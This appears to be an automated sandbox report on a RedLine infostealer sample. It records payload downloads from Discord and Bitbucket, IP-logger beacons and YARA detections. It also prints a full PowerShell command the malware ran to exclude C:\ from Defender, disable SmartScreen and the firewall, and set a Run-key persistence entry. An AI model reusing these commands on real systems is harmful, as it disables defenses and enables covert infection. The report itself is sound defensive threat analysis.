Source: e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: TextOutputHost.exe, 0000000C.00000003.549117265.000002570253E000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.553277214.0000025702532000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531851757.00000257024D4000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.586493286.000002570255C000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.531587138.0000025702497000.00000004.00000020.00020000.00000000.sdmp, TextOutputHost.exe, 0000000C.00000003.532039017.00000257024F0000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.664018957.000001F1F9BE2000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.663818875.000001F1F9BAD000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.597664422.000001F1F9BC0000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.597589986.000001F1F9BB9000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.661745598.000001F1F9C11000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.628005021.000001F1F9BCD000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000002.700997638.000001F1F9BAB000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.662504478.000001F1F9BAB000.00000004.00000020.00020000.00000000.sdmp, System.exe, 00000014.00000003.628228126.000001F1F9BBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: e4.exe	String found in binary or memory: https://www.digicert.com/CPS0
Source: UpSys[1].exe.12.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: e4.exe, 00000000.00000002.546357851.0000000004324000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.552504535.0000000005071000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.549434824.0000000004EFA000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.546189410.00000000042FE000.00000004.00000800.00020000.00000000.sdmp, e4.exe, 00000000.00000002.543505442.000000000416D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: GET /attachments/1003972615569936414/1003972771124105277/TextOutputHost.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/UpSys.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/4cedbadc-424b-4242-93aa-1dc687b9b639/UpSys.exe?response-content-disposition=attachment%3B%20filename%3D%22UpSys.exe%22&AWSAccessKeyId=ASIA6KOSE3BNJVJZSMMY&Signature=GKG00xdlg3oygermvOEbueO%2BNz8%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDFpChqY%2B2X%2BiK6A2piK%2BAcOCwSpdg1wgDPSX5WQjUuMV1Z7amPKaPIe5PjMvfeBJMBw5AeR8g4M55fcd%2F0kTXCArPsFwKbmXsSrHAwSMRv6DU0B5vALfTsLWG1UAEdmSN9MjiwJKee3Vq5ZeBBpgPl5YhOPG3txjTiyZZKlKby6LzGxZIVE2reMrsReULEJiZjV85rcOjR4dLWEWoLJaC3%2B23R1OMfkepi23e02S%2FCK0u4K29MgaGjs4ttXi0v665%2BOmSEtss4FLxVC2W2wojN6ulwYyLXTHueXa1xySDNZ8yPRIrP0HK1T2gA%2Fvw3IsU5T5A624p2Zydq6RO6NQG84stQ%3D%3D&Expires=1659614740 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /1fEwd7 HTTP/1.1MySpecialHeder: whateverUser-Agent: RunCache-Control: no-cacheHost: iplogger.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /e8466680-8c82-495b-9e3c-2c79f82869ce/downloads/7737de24-30d9-4daf-b72b-bce98dc0f6f9/CPU.zip?response-content-disposition=attachment%3B%20filename%3D%22CPU.zip%22&AWSAccessKeyId=ASIA6KOSE3BNHFPFMP6Q&Signature=XDJ6YEmN8Nwjax6uk5S8vEQClD0%3D&x-amz-security-token=FwoGZXIvYXdzEF0aDLBZ3K08TkNocrItliK%2BAXs5M2KhfdxB3SikPG1r9Vr5XjEWnkXV3rmpT178O%2BtrsbZ0QiA%2Btk0t2uvdu4LRlr8PJStRCN8JWpJTkkrNmRGskGQf0GFLG28onKVM5e%2FGS9bWo93plm8OY6bWca%2FZBuYOAwNBvivyL7WId%2BZsj7oaSvYo4L%2FU2hVYV%2FDSlcSoMni9c4QipDK6jd0Odw9Xl08Hi0AF%2BDV4XrxMRBYyatJFE%2BYHrVXPDnpZj7ic66edeNVP2i386BG%2FYYcSV2ooh92ulwYyLYfGHG4WfbBJPQzRVijnq6UBY%2BBe5u7ghsOHPgHW7ets5zhLDinEYUDO7mPlcQ%3D%3D&Expires=1659614607 HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Connection: Keep-AliveHost: bbuseruploads.s3.amazonaws.com
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/UpSys.exe HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1fEwd7 HTTP/1.1MySpecialHeder: whateverUser-Agent: RunCache-Control: no-cacheHost: iplogger.orgConnection: Keep-AliveCookie: clhf03028ja=102.129.143.3; 305973761719766787=3
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /tilttilttilt/test1/downloads/CPU.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /1fEwd7 HTTP/1.1Content-Type: text/htmlMySpecialHeder: whateverUser-Agent: RunHost: iplogger.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1fEwd7 HTTP/1.1Content-Type: text/htmlMySpecialHeder: whateverUser-Agent: RunHost: iplogger.orgCache-Control: no-cache

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868

Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111
Source: unknown	TCP traffic detected without corresponding DNS query: 46.21.250.111

Source: unknown	HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.195.249:443 -> 192.168.2.5:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.5:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.5:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 148.251.234.83:443 -> 192.168.2.5:49861 version: TLS 1.2

Source: e4.exe, 00000000.00000002.536425724.0000000001C88000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: cmd.exe

Process created: 42

System Summary

Malicious sample detected (through community Yara rule)

Source: e4.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: e4.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 0.0.e4.exe.a10000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.e4.exe.a10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown
Source: 00000000.00000000.416391043.0000000000A12000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd Author: unknown

PE file contains section with special chars

Source: e4.exe	Static PE information: section name:
Source: e4.exe	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: TextOutputHost.exe.0.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:
Source: System.exe.12.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 4904 -s 2364

Source: C:\Users\user\Desktop\e4.exe

Code function: 0_2_0205EF08

0_2_0205EF08

Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys[1].exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: UpSys.exe.12.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: TextOutputHost.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: System.exe.12.dr	Static PE information: Number of sections : 11 > 10

Source: Joe Sandbox View

Dropped File: C:\ProgramData\UpSys.exe 5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2

Source: e4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: e4.exe, type: SAMPLE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: e4.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 0.0.e4.exe.a10000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0.0.e4.exe.a10000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: 00000000.00000000.416391043.0000000000A12000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_3d9371fd reference_sample = 0ec522dfd9307772bf8b600a8b91fd6facd0bf4090c2b386afd20e955b25206a, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 2d7ff7894b267ba37a2d376b022bae45c4948ef3a70b1af986e7492949b5ae23, id = 3d9371fd-c094-40fc-baf8-f0e9e9a54ff9, last_modified = 2022-04-12
Source: Process Memory Space: UpSys.exe PID: 6496, type: MEMORYSTR	Matched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
Source: C:\Users\user\AppData\Local\Temp\iuiemjt, type: DROPPED	Matched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/

Source: e4.exe, 00000000.00000002.526564122.0000000000A2D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCustodians.exe4 vs e4.exe
Source: e4.exe, 00000000.00000002.539968265.0000000003E71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs e4.exe
Source: e4.exe, 00000000.00000002.536514780.0000000001CA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs e4.exe
Source: e4.exe, 00000000.00000000.416463347.0000000000A36000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCustodians.exe4 vs e4.exe
Source: e4.exe	Binary or memory string: OriginalFilenameCustodians.exe4 vs e4.exe

Source: e4.exe

Static PE information: invalid certificate

Source: e4.exe	Static PE information: Section: ZLIB complexity 1.5333333333333334
Source: TextOutputHost.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0003741464783462
Source: TextOutputHost.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9978139580410453
Source: TextOutputHost.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0101476014760147
Source: TextOutputHost.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0833333333333333
Source: TextOutputHost.exe.0.dr	Static PE information: Section: ZLIB complexity 1.0411985018726593
Source: System.exe.12.dr	Static PE information: Section: ZLIB complexity 1.0003741464783462
Source: System.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9978139580410453
Source: System.exe.12.dr	Static PE information: Section: ZLIB complexity 1.0101476014760147
Source: System.exe.12.dr	Static PE information: Section: ZLIB complexity 1.0833333333333333
Source: System.exe.12.dr	Static PE information: Section: ZLIB complexity 1.0411985018726593

Source: exe.lnk.12.dr

LNK file: ..\..\..\..\..\..\..\..\..\ProgramData\MicrosoftNetwork\System.exe

Source: C:\Users\user\Desktop\e4.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@169/20@6/6

Source: C:\Users\user\Desktop\e4.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: e4.exe

Virustotal: Detection: 59%

Source: C:\Users\user\Desktop\e4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\e4.exe "C:\Users\user\Desktop\e4.exe"
Source: C:\Users\user\Desktop\e4.exe	Process created: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe "C:\Users\user\AppData\Local\Temp\TextOutputHost.exe"
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData \| Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: unknown	Process created: C:\ProgramData\MicrosoftNetwork\System.exe "C:\ProgramData\MicrosoftNetwork\System.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K taskkill /IM
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftNetwork\System.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Data\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /IM
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\TextOutputHost.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
